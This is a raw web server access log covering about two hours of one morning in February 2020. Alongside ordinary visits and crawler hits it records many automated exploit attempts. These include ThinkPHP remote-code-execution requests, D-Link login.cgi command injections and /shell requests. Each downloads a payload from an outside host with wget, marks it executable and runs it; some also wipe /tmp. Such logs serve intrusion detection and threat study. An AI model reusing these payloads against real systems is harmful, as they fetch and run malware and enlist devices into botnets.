42.119.97.125 - - [07/Feb/2020:04:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [07/Feb/2020:04:39:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
181.60.62.11 - - [07/Feb/2020:04:39:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
164.52.24.163 - - [07/Feb/2020:04:40:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
149.62.199.225 - - [07/Feb/2020:04:42:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
149.62.199.225 - - [07/Feb/2020:04:42:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.54.185.223 - - [07/Feb/2020:04:43:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.71.253 - - [07/Feb/2020:04:44:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.212.89.95 - - [07/Feb/2020:04:47:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.97.255.16 - - [07/Feb/2020:04:47:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.99.169.211 - - [07/Feb/2020:04:52:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.85.40.133 - - [07/Feb/2020:05:01:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
197.203.0.101 - - [07/Feb/2020:05:06:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [07/Feb/2020:05:06:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.116.48.234 - - [07/Feb/2020:05:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.185.105.50 - - [07/Feb/2020:05:07:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.90.216.156 - - [07/Feb/2020:05:08:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.69.136.153 - - [07/Feb/2020:05:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
201.49.229.114 - - [07/Feb/2020:05:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.194.145.160 - - [07/Feb/2020:05:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
220.121.0.69 - - [07/Feb/2020:05:16:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [07/Feb/2020:05:16:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.104.226 - - [07/Feb/2020:05:16:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [07/Feb/2020:05:16:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [07/Feb/2020:05:16:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
188.122.24.3 - - [07/Feb/2020:05:16:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
220.121.0.69 - - [07/Feb/2020:05:16:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
202.177.244.68 - - [07/Feb/2020:05:17:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.53.136.57 - - [07/Feb/2020:05:17:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.80.39.93 - - [07/Feb/2020:05:19:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
63.143.35.230 - - [07/Feb/2020:05:21:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.115.161.145 - - [07/Feb/2020:05:21:20 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
63.143.35.230 - - [07/Feb/2020:05:21:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:21:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [07/Feb/2020:05:22:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.117.20.169 - - [07/Feb/2020:05:24:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.91.69.246 - - [07/Feb/2020:05:25:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.154.56 - - [07/Feb/2020:05:26:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
1.53.132.161 - - [07/Feb/2020:05:26:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.182.52.82 - - [07/Feb/2020:05:27:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
59.191.145.11 - - [07/Feb/2020:05:28:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.100.166 - - [07/Feb/2020:05:30:19 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
113.23.58.196 - - [07/Feb/2020:05:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.127.251.232 - - [07/Feb/2020:05:34:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
59.127.251.232 - - [07/Feb/2020:05:34:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.52.179.42 - - [07/Feb/2020:05:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.65.122 - - [07/Feb/2020:05:36:03 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.118 - - [07/Feb/2020:05:36:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
197.230.162.102 - - [07/Feb/2020:05:36:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
39.135.1.160 - - [07/Feb/2020:05:39:04 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:04 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:04 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:05 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:06 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:07 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:07 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:05:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
220.116.93.35 - - [07/Feb/2020:05:41:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:05:41:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:05:41:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:05:41:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:05:41:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
111.35.159.211 - - [07/Feb/2020:05:43:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
132.148.151.162 - - [07/Feb/2020:05:48:24 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
142.44.240.254 - - [07/Feb/2020:05:48:29 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
167.71.175.204 - - [07/Feb/2020:05:48:34 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
5.101.156.104 - - [07/Feb/2020:05:48:34 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
103.74.121.142 - - [07/Feb/2020:05:48:42 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
192.163.194.239 - - [07/Feb/2020:05:48:44 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
103.6.198.31 - - [07/Feb/2020:05:48:47 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
206.189.85.88 - - [07/Feb/2020:05:48:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
159.89.110.45 - - [07/Feb/2020:05:48:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
103.74.121.142 - - [07/Feb/2020:05:48:58 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
117.0.196.128 - - [07/Feb/2020:05:50:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
170.244.16.141 - - [07/Feb/2020:05:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
171.50.206.127 - - [07/Feb/2020:05:52:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.228.171 - - [07/Feb/2020:05:52:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.154.170.206 - - [07/Feb/2020:05:53:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
187.102.54.252 - - [07/Feb/2020:05:54:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.116.227.180 - - [07/Feb/2020:05:54:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [07/Feb/2020:05:55:52 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [07/Feb/2020:05:55:53 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [07/Feb/2020:05:55:53 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
42.114.209.84 - - [07/Feb/2020:05:56:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.78.121.121 - - [07/Feb/2020:05:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
66.249.65.254 - - [07/Feb/2020:05:56:32 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.254 - - [07/Feb/2020:05:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
78.217.160.38 - - [07/Feb/2020:06:01:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
34.92.198.38 - - [07/Feb/2020:06:01:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.99.124.57 - - [07/Feb/2020:06:01:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
181.174.34.246 - - [07/Feb/2020:06:04:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.52.43.130 - - [07/Feb/2020:06:05:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
187.0.2.88 - - [07/Feb/2020:06:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.0.2.88 - - [07/Feb/2020:06:05:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.174.153.85 - - [07/Feb/2020:06:07:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.122.224.20 - - [07/Feb/2020:06:08:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.116.93.35 - - [07/Feb/2020:06:09:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:06:09:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:06:09:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
189.190.65.65 - - [07/Feb/2020:06:09:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.116.93.35 - - [07/Feb/2020:06:09:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [07/Feb/2020:06:09:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [07/Feb/2020:06:12:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
45.197.68.74 - - [07/Feb/2020:06:13:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.38 - - [07/Feb/2020:06:16:36 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
187.32.76.122 - - [07/Feb/2020:06:18:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.129.6.209 - - [07/Feb/2020:06:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.231.114.205 - - [07/Feb/2020:06:21:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.239 - - [07/Feb/2020:06:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
113.22.118.114 - - [07/Feb/2020:06:22:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
